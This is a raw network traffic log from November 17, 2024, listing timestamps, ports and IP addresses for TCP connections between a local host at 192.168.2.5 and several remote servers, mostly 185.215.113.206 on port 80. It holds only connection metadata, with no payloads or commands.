Nov 17, 2024 03:42:42.677984953 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.678020000 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.678044081 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.678065062 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.678072929 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.678081989 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.678088903 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.678114891 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.678114891 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.678136110 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.678149939 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.678183079 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.678183079 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.678304911 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.678374052 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.678389072 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.678416014 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.678419113 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.678430080 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.678459883 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.678462029 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.678477049 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.678488016 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.678503990 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.678509951 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.678530931 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.678533077 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.678550005 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.678551912 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.678567886 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.678572893 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.678587914 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.678594112 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.678615093 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.678632021 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.678654909 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.679056883 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.679070950 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.679105043 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.679116964 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.679126024 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.679147005 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.679152012 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.679167032 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.679172039 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.679183960 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.679191113 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.679207087 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.679222107 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.679222107 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.679255009 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.679461002 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.679478884 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.679512978 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.679521084 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.679538012 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.679549932 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.679558039 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.679575920 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.679577112 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.679591894 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.679604053 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.679622889 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.679640055 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.679641008 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.679670095 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.679675102 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.679691076 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.679692030 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.679709911 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.679722071 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.679730892 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.679738045 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.679745913 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.679769039 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.679775000 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.679789066 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.679795027 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.679810047 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.679897070 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.679897070 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.680387974 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.680413961 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.680438995 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.680457115 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.680457115 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.680480003 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.680483103 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.680496931 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.680511951 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.680520058 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.680530071 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.680541039 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.680562019 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.680614948 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.688249111 CET	443	49902	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:42.688837051 CET	49902	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:42.688863993 CET	443	49902	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:42.689971924 CET	49902	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:42.689979076 CET	443	49902	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:42.715502024 CET	443	49897	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:42.715522051 CET	443	49897	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:42.715586901 CET	49897	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:42.715607882 CET	443	49897	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:42.715744019 CET	443	49897	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:42.715838909 CET	49897	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:42.715884924 CET	49897	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:42.715904951 CET	443	49897	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:42.715918064 CET	49897	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:42.715924978 CET	443	49897	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:42.716166973 CET	49901	443	192.168.2.5	204.79.197.219
Nov 17, 2024 03:42:42.716175079 CET	443	49901	204.79.197.219	192.168.2.5
Nov 17, 2024 03:42:42.716314077 CET	49900	443	192.168.2.5	204.79.197.219
Nov 17, 2024 03:42:42.716324091 CET	443	49900	204.79.197.219	192.168.2.5
Nov 17, 2024 03:42:42.718755007 CET	49910	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:42.718812943 CET	443	49910	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:42.719150066 CET	49910	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:42.719322920 CET	49910	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:42.719337940 CET	443	49910	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:42.744999886 CET	443	49892	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.745022058 CET	443	49892	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.745134115 CET	49892	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:42.745142937 CET	443	49892	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.745214939 CET	49892	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:42.763060093 CET	49901	443	192.168.2.5	204.79.197.219
Nov 17, 2024 03:42:42.763060093 CET	49900	443	192.168.2.5	204.79.197.219
Nov 17, 2024 03:42:42.792985916 CET	443	49891	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.793067932 CET	49891	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:42.796570063 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.796601057 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.796622992 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.796653032 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.796653032 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.796667099 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.796680927 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.796705008 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.796749115 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.796766043 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.796782017 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.796813965 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.796833038 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.796850920 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.796865940 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.796874046 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.796874046 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.796874046 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.796874046 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.796874046 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.796874046 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.796874046 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.796874046 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.796899080 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.796902895 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.796910048 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.796917915 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.796933889 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.796953917 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.796953917 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.796958923 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.796979904 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.796986103 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.796998024 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.797003984 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.797064066 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.797213078 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.797240019 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.797260046 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.797260046 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.797260046 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.797280073 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.797283888 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.797301054 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.797301054 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.797313929 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.797339916 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.797410011 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.797452927 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.797466993 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.797492027 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.797501087 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.797517061 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.797519922 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.797544003 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.797545910 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.797565937 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.797569990 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.797591925 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.797597885 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.797607899 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.797614098 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.797632933 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.797648907 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.797724009 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.797764063 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.797873974 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.797894955 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.797914028 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.797933102 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.797933102 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.797951937 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.797960043 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.797971964 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.797991037 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.797991037 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.798010111 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.798017025 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.798028946 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.798047066 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.798048019 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.798073053 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.798099041 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.798208952 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.798228025 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.798249960 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.798259020 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.798266888 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.798275948 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.798297882 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.798300028 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.798319101 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.798342943 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.798492908 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.798511028 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.798533916 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.798535109 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.798561096 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.798561096 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.798578978 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.798580885 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.798594952 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.798604012 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.798612118 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.798619986 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.798640966 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.798650026 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.798659086 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.798669100 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.798686981 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.798688889 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.798707008 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.798710108 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.798721075 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.798732042 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.798747063 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.798753977 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.798767090 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.798768044 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.798793077 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.798793077 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.798806906 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.798819065 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.798840046 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.798844099 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.798856974 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.798866034 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.798877954 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.798896074 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.801645041 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.801657915 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.801706076 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.801719904 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.801736116 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.801753044 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.801779032 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.801784039 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.801803112 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.801820040 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.801820040 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.801822901 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.801836967 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.801848888 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.801867962 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.801867962 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.801886082 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.801887989 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.801903009 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.801912069 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.801928997 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.801929951 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.801945925 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.801953077 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.801966906 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.801983118 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.818389893 CET	443	49902	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:42.818449020 CET	443	49902	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:42.818547010 CET	49902	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:42.818566084 CET	443	49902	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:42.818608999 CET	443	49902	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:42.818763018 CET	49902	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:42.818763018 CET	49902	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:42.818793058 CET	49902	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:42.818805933 CET	443	49902	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:42.819144964 CET	443	49892	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.819219112 CET	443	49892	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.819261074 CET	49892	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:42.819261074 CET	49892	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:42.819730043 CET	49892	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:42.819762945 CET	443	49892	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.823334932 CET	49911	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:42.823362112 CET	443	49911	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:42.823632956 CET	49911	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:42.823632956 CET	49911	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:42.823652029 CET	443	49911	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:42.837883949 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.837898016 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.837923050 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.837941885 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.837941885 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.837971926 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.838007927 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.884104013 CET	49912	443	192.168.2.5	20.42.73.31
Nov 17, 2024 03:42:42.884166002 CET	443	49912	20.42.73.31	192.168.2.5
Nov 17, 2024 03:42:42.884238958 CET	49912	443	192.168.2.5	20.42.73.31
Nov 17, 2024 03:42:42.884613991 CET	49912	443	192.168.2.5	20.42.73.31
Nov 17, 2024 03:42:42.884639978 CET	443	49912	20.42.73.31	192.168.2.5
Nov 17, 2024 03:42:42.909938097 CET	443	49891	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.909974098 CET	443	49891	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.910233974 CET	49891	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:42.910307884 CET	443	49891	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.910393953 CET	49891	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:42.915566921 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.915592909 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.915613890 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.915627956 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.915644884 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.915662050 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.915677071 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.915680885 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.915703058 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.915704966 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.915729046 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.915736914 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.915746927 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.915766001 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.915766954 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.915785074 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.915796041 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.915813923 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.915826082 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.915839911 CET	80	49797	185.215.113.206	192.168.2.5
